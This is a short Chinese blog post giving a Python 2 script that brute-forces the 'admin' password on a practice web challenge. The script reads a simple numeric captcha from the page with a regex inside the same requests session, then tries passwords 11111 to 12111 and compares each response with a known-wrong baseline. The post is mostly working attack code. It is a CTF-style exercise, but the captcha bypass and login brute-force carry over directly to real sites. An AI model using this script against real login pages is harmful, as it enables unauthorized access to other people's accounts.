zoukankan      html  css  js  c++  java
  • requests爆破+简单数字验证码

    验证码用正则获取 然后提交;
    访问方式为get;
    由于有验证码 要用session;
    注意:获取验证码的时候所打开的网页要用当前session(即要get的) 不能另外打开(如urllib中的打开网页)网页否则验证码是不同的;

    代码如下:

     1 #coding=utf-8
     2 import requests
     3 import re
     4 import urllib2
     5 
     6 url="http://daka.whaledu.com/web/web38/9s81jWjd98YU.php"
     7 
     8 
     9 se=requests.Session()
    10 
    11 htmlpage = se.get(url).text
    12 
    13 ###########################################################################
    14 #                                                                         #
    15 #   ATTENTION!                                                           #
    16 #   一定要用当前session打开网页,否则验证码不一样,导致提交的验证码错误              #
    17 #                                                                         #
    18 ###########################################################################
    19 
    20 
    21 
    22 #验证码获取
    23 
    24 ex=r"text">(.+?)<br>"
    25 pattern=re.compile(ex)
    26 ss=re.findall(ex,htmlpage)
    27 st=""
    28 st=ss[0]
    29 st=st[1]+st[2]+st[3]
    30 print st
    31 
    32 
    33 #第一次使用一个错误的数据以便爆破的时候对比是否密码正确
    34 
    35 data={
    36     "password":"11111",
    37     "randcode":st,
    38     "username":"admin"
    39 }
    40 
    41 
    42 
    43 content=se.get(url,params=data)
    44 print content.url
    45 content.encoding='utf-8'
    46 print content.text
    47 
    48 
    49 #循环爆破
    50 
    51 for i in range(11111,12111):
    52     
    53     
    54     se=requests.Session()
    55     htmlpage = se.get(url).text
    56     
    57     ex=r"text">(.+?)<br>"
    58     pattern=re.compile(ex)
    59     ss=re.findall(ex,htmlpage)
    60     st=""
    61     st=ss[0]
    62     st=st[1]+st[2]+st[3]
    63     
    64     data={
    65     "password":str(i),
    66     "randcode":st,
    67     "username":"admin"
    68     }
    69     
    70     content1=se.get(url,params=data)
    71     content1.encoding='utf-8'
    72     if content.text!=content1.text:
    73         print content1.text
    74     else:
    75         print str(i),"wrong"
  • 相关阅读:
    快速排序就这么简单
    Shiro入门这篇就够了【Shiro的基础知识、回顾URL拦截】
    SpringDataJPA入门就这么简单
    递归就这么简单
    SpringBoot就是这么简单
    Activiti就是这么简单
    Lucene就是这么简单
    过来人告诉你,去工作前最好还是学学Git
    给女朋友讲解什么是Git
    我终于看懂了HBase,太不容易了...
  • 原文地址:https://www.cnblogs.com/Aiden-/p/9020566.html
Copyright © 2011-2022 走看看